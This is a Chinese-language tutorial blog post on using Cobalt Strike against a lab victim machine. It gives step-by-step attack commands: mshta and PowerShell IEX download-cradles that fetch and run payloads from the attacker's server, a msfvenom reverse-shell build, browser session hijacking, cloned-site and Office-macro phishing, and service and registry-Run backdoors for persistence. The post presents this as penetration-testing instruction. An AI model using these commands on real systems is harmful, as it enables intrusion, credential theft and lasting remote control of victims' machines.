0x00 简介

Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

0x01 目录结构

一般Cobalt Strike目录结构如下:
Cobalt Strike目录结构

agscript 拓展应用的脚本
c2lint 用于检查profile的错误异常
teamserver 服务端程序
cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)
license.pdf 许可证文件
logs 目录记录与目标主机的相关信息
update,update.jar用于更新CS
third-party 第三方工具

0x02 安装运行

团队服务器

团队服务器最好运行在Linux平台上,服务端的关键文件是teamserver和cobaltstrike.jar,将这两个文件放在同一目录下运行:

./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需参数 团队服务器IP
<password> 必需参数 连接服务器的密码
[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
[YYYY-MM-DD] 可选参数 所有payload的终止时间

# 启动Team Server
./teamserver 192.168.183.147 123456 # 设置强密码,否则容易被爆破,参考附录

启动Team Server

连接端口文件

客户端

Linux: ./cobaltstrike或 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Windows: 双击cobaltstrike.bat
Mac: java -Dfile.encoding=UTF-8 -javaagent:/Applications/cobaltstrike/CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar /Applications/cobaltstrike/cobaltstrike.jar

客户端启动

输入服务端IP,端口默认50050,用户名任意,密码为之前设置的密码,点击connect。第一次连接会出现hash校验,这里的hash等于前面的启动teamserver时的hash,直接点击‘是’即可连接到团队服务器上。

客户端界面

0x03 参数详情

Cobalt Strike

New Connection # 新建连接,支持连接多个服务器端
Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization # 主要展示输出结果的视图
VPN Interfaces # 设置VPN接口
Listenrs # 创建监听器
Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
Close # 退出连接

View

Applications # 显示受害主机的应用信息
Credentials # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
Downloads # 查看已下载文件
Event Log # 主机上线记录以及团队协作聊天记录
Keystrokes # 查看键盘记录结果
Proxy Pivots # 查看代理模块
Screenshots # 查看所有屏幕截图
Script Console # 加载第三方脚本以增强功能
Targets # 显示所有受害主机
Web Log # 所有Web服务的日志

Attacks

Packages

HTML Application # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
MS Office Macro # 生成office宏病毒文件
Payload Generator # 生成各种语言版本的payload
USB/CD AutoPlay # 生成利用自动播放运行的木马文件
Windows Dropper # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差)
Windows Executable # 生成可执行exe木马
Windows Executable(Stageless) # 生成无状态的可执行exe木马

Web Drive-by

Manage # 对开启的web服务进行管理
Clone Site # 克隆网站,可以记录受害者提交的数据
Host File # 提供文件下载,可以选择Mime类型
Scripted Web Delivery # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery
Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时)
System Profiler # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等
Spear Phish # 鱼叉钓鱼邮件

Reporting

Activity Report # 活动报告
Hosts Report # 主机报告
Indicators of Compromise # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
Sessions Report # 会话报告
Social Engineering Report # 社会工程报告:包括鱼叉钓鱼邮件及点击记录
Tactics, Techniques, and Procedures # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
Reset Data # 重置数据
Export Data # 导出数据,导出.tsv文件格式

Help

Homepage # 官方主页
Support # 技术支持
Arsenal # 开发者
System information # 版本信息
About # 关于

工具栏

工具栏

1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于

0x04 基本流程

创建监听器

点击Cobalt Strike -> Listeners->Add,其中内置了九个Listener

indows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

其中windows/beacon为内置监听器,包括dns、http、https、smb四种方式的监听器;windows/foreign为外部监听器,配合Metasploit或者Armitage的监听器。

创建监听器

Name任意,选择所需的payload,Host为本机IP,port为没有被占用的任意端口,点击save即创建成功

监听器状态

生成木马

这里选择其中一种攻击方式作示范,后面再做详细解释:
点击Attacks->Packages->HTML Application,选择对应的监听器,方法这里有三种(executable/VBA/powershell),选择powershell,点击Generate生成,选择生成的路径及文件名保存即可。

创建木马

保存木马

开启web服务

点击Attacks->Web Drive-by->Host File,选择刚刚生成的木马evil.hta,点击Launch生成下载链接
开启web服务

创建结果 Url

运行木马

打开受害机cmd,运行mshta命令。mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件

mshta http://192.168.183.147/download/file.ext

受害机器上运行木马

返回CS即可看到肉鸡上线

受害机器查看

选中受害机右击,选择interact,即可进行交互,由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,但实际中频率不宜过快,容易被发现。

受害机器远程操控

0x05 Beacon

当受害机上线以后,右击选择Interact,就可以打开Beacon Console,在beacon处输入help可以看到命令说明

Beacon Commands
===============

    Command                   Description
    -------                   -----------
    argue                     进程参数欺骗
    blockdlls                 在子进程中阻止非Microsoft的DLLs文件
    browserpivot              注入受害者浏览器进程
    bypassuac                 绕过UAC
    cancel                    取消正在进行的下载
    cd                        切换目录
    checkin                   强制让被控端回连一次
    clear                     清除beacon内部的任务队列
    connect                   通过TCP连接到Beacon
    covertvpn                 部署Covert VPN客户端
    cp                        复制文件
    dcsync                    从DC中提取密码哈希
    desktop                   远程VNC
    dllinject                 反射DLL注入进程
    dllload                   使用LoadLibrary将DLL加载到进程中
    download                  下载文件
    downloads                 列出正在进行的文件下载
    drives                    列出目标盘符
    elevate                   尝试提权
    execute                   在目标上执行程序(无输出)
    execute-assembly          在目标上内存中执行本地.NET程序
    exit                      退出beacon
    getprivs                  对当前令牌启用系统权限
    getsystem                 尝试获取SYSTEM权限
    getuid                    获取用户ID
    hashdump                  转储密码哈希值
    help                      帮助
    inject                    在特定进程中生成会话
    jobkill                   杀死一个后台任务
    jobs                      列出后台任务
    kerberos_ccache_use       从ccache文件中导入票据应用于此会话
    kerberos_ticket_purge     清除当前会话的票据
    kerberos_ticket_use       从ticket文件中导入票据应用于此会话
    keylogger                 键盘记录
    kill                      结束进程
    link                      通过命名管道连接到Beacon
    logonpasswords            使用mimikatz转储凭据和哈希值
    ls                        列出文件
    make_token                创建令牌以传递凭据
    mimikatz                  运行mimikatz
    mkdir                     创建一个目录
    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
    mode http                 使用HTTP作为通信通道
    mv                        移动文件
    net                       net命令
    note                      给当前目标机器备注       
    portscan                  进行端口扫描
    powerpick                 通过Unmanaged PowerShell执行命令
    powershell                通过powershell.exe执行命令
    powershell-import         导入powershell脚本
    ppid                      为生成的post-ex任务设置父PID
    ps                        显示进程列表
    psexec                    使用服务在主机上生成会话
    psexec_psh                使用PowerShell在主机上生成会话
    psinject                  在特定进程中执行PowerShell命令
    pth                       使用Mimikatz进行传递哈希
    pwd                       当前目录位置
    reg                       查询注册表
    rev2self                  恢复原始令牌
    rm                        删除文件或文件夹
    rportfwd                  端口转发
    run                       在目标上执行程序(返回输出)
    runas                     以另一个用户权限执行程序
    runasadmin                在高权限下执行程序
    runu                      在另一个PID下执行程序
    screenshot                屏幕截图
    setenv                    设置环境变量
    shell                     cmd执行命令
    shinject                  将shellcode注入进程
    shspawn                   生成进程并将shellcode注入其中
    sleep                     设置睡眠延迟时间
    socks                     启动SOCKS4代理
    socks stop                停止SOCKS4
    spawn                     生成一个会话 
    spawnas                   以其他用户身份生成会话
    spawnto                   将可执行程序注入进程
    spawnu                    在另一个PID下生成会话
    ssh                       使用ssh连接远程主机
    ssh-key                   使用密钥连接远程主机
    steal_token               从进程中窃取令牌
    timestomp                 将一个文件时间戳应用到另一个文件
    unlink                    断开与Beacon的连接
    upload                    上传文件
    wdigest                   使用mimikatz转储明文凭据
    winrm                     使用WinRM在主机上生成会话
    wmi                       使用WMI在主机上生成会话

可用help+命令的方式查看具体命令参数说明

beacon> help argue
Use: argue [command] [fake arguments]
     argue [command]
     argue

Spoof [fake arguments] for [command] processes launched by Beacon.
This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.

Use argue [command] to disable this feature for the specified command.

Use argue by itself to list programs with defined spoofed arguments.

之前说过CS与受害机默认60s进行一次交互,为了方便实验我们可以把时间设置为0

beacon>sleep 0

下面我就介绍一下几个常用的命令

browserpivot

Browser Pivot是一个针对IE浏览器的技术,利用的是IE的cookie机制,Cobalt Strike通过IE注入进程以继承用户的已验证Web会话,达到无需验证登录用户访问的网站。
假设受害者在通过IE浏览器登录了网站后台

受害机器浏览器

我们可以通过ps找到浏览器进程,然后通过命令进行注入

beacon> browserpivot 2600 x86

browserpivot进行注入

这里之所以选择PID 2600是因为我们需要插入Internet Explorer以继承用户的已验证Web会话。IE的新版本会为每个选项卡生成一个进程,我们必须将其插入子选项卡以继承会话状态。通常,子选项卡共享所有会话状态。通过查看PPID值来标识IE子选项卡进程,当PPID引用explorer.exe时,该进程不是子选项卡;当PPID引用iexplore.exe时,该进程就是子选项卡。
当然这里也可以通过图形界面注入,右击选中Explore->Browser Pivot

设置代理端口

然后浏览器设置代理

设置代理

然后访问受害者所访问的网页,发现无需登录直接进入后台

访问结果图

Socks代理

开启socks4a代理,通过代理进行内网渗透
开启socks,可以通过命令,也可以通过右键Pivoting->SOCKS Server

beacon> socks 2222
[+] started SOCKS4a server on: 2222
[+] host called home, sent: 16 bytes

然后vim /etc/proxychains.conf ,在文件末尾添加socks4代理服务器

配置proxychains文件

使用proxychains代理扫描内网主机

proxychains nmap -sP 192.168.183.0/24

扫描结果图

我们还可以通过隧道将整个msf带进目标内网
点击View->Proxy Pivots,选择Socks4a Proxy,点击Tunnel:

建立隧道

setg Proxies socks4:192.168.183.147:2222

打开msf对内网进行扫描

msf 扫描结果

关闭socks

beacon>socks stop

powershell-import

这个功能在后渗透测试中很有用,可以导入各种powershell渗透框架,如Nishang、PowerSploit攻击框架
在beacon shell输入powershell-import,导入已有的ps文件

beacon> powershell-import

选择木马文件

导入结果

关于具体有哪些命令可以操作可以查看一下相应ps文件

0x06 与Metasploit联动

Cobalt Strike → Metasploit

msf开启监听模式

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.183.147
set lport 4444
run -j

Metasploit监听

创建两个监听器,一个使用windows/beacon_http/reverse_http来监听肉鸡,另一个使用windows/foreign/reverse_http来将获取到的控制权传给msf(注意:这里的端口要与msf监听的端口一致)

连接状态

利用HTML Application来生成链接,使得目标设备上线,右击选择spwan,选择msf监听器,点击Choose

开始连接监听

返回msf查看,成功获取meterpreter会话(此方法获取到的会话并不稳定,具体原因未知)

查看连接状态

Metasploit→ Cobalt Strike

当然这里也可以通过用msfvenom生成木马,再由CS发布

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.183.147 lport=4444 -f exe -o msf.exe

木马生成

此时再次查看msf发现获取到会话

查看会话

至于后面怎么提权可以参考meterpreter使用教程

0x07 钓鱼攻击

点击Attacks->Web Driver-by->Clone site,输入想要克隆的网址,这里需要勾选上Log keystrokes来记录输入

创建欺骗页面

然后在肉鸡上访问攻击机IP,访问克隆的网页,当受害者输入了用户名密码,CS在日志里会有记录

表单输入记录

我们发现即使受害者输入正确的账号密码系统也会提示用户名密码错误,然后会自动跳转到正确的登录界面,事实上我们还可以实现主动跳转到任意界面。
为了防止没有主动跳转到正确的页面我们可以选择主动跳转到正确页面
点击 Attacks->Web Driver-by->System Profiler

登陆跳转设置

当我们访问192.168.183.147:81时会自动跳转到登录页面,在选择克隆站点时,点击attack右边的…选择我们创建端口为81的profiler

登陆跳转设置

当我们我们访问80端口点击确认后会跳转到正确的登录界面

访问界面图

0x08 宏钓鱼

点击Attacks->Packages->MS Office Macro,选择相应的监听器,点击Generate

操作提示

上图告诉我们操作步骤,先打开Word或Excel,转到视图->宏->查看宏,创建一个宏名随意的宏,将复制的宏代码粘贴进去,关闭宏窗口,另存为启用宏的文档。
点击Copy Macro复制宏代码,选择 Project->Microsoft Word对象->ThisDocument粘贴宏代码,关闭并另存为。

创建宏

当你打开启用宏的文档,CS便会接收到返回的会话

0x09 shellcode

CS可以生成很多类型的shellcode,如c、c#、java、python、powershell、ruby、raw等
点击Attacks->package->paylaod generator
这里以powershell为例

生成powershell木马文件

将生成的payload.ps1复制到目标系统并执行以下命令,返回CS查看得到返回的会话

powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"

0x10 elevate提权

Cobalt Strike内嵌了三个提权exp:ms14-058、uac-dll、uac-token-duplication
ms14-058是个老提权漏洞利用方式,可利用于Windows 7系统。
uac-dll和uac-token-duplication是Bypass UAC攻击,是由本地管理员运行payload从中等权限往最高权限提升的过程,适用于windows 7和windows 10。
我们可以通过导入cna文件来扩展漏洞库,项目地址为ElevateKit
点击Cobalt Strike->Script Manager来导入cna文件

模块导入结果

选中目标机器右击选择Access->Elevate,选择相应的漏洞即可提权

提权过程

0x11 权限维持

服务后门

点击Attacks->web driver-by ->script web delivery

web监听创建

点击launch生成如下命令

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))"

在目标设备执行以上命令会拿到普通用户的权限,这里需要提权,打开beacon shell并执行命令

shell sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))\""

创建服务结果图

查看受害机器服务,发现名为name的服务项创建成功,不过此时该服务启动类型为手动,我们需要将其设置为自动,还可以为其添加描述

shell sc config "name" start= auto
shell sc description "name" "description"

服务属性

这样一个service后门就设置成功了,即使目标机器重启后依旧可以拿到控制权限。

注册表后门

点击Attacks->packages->windows executable生成一个exe木马并上传到目标机器
上传可以通过Explore>File Browser

生成开机自启程序

当然这里也可以选择将exe设置为服务后门,方法同上

shell sc create "exe" binpath= "C:\Users\abc\Desktop\artifact.exe"

下面我们来演示一下如何设置注册表后门

shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d "C:\Users\abc\Desktop\artifact.exe" /f

创建结果

查看检查

这样一个注册表自启动后门已经设置成功了

最后修改:2020 年 03 月 09 日
-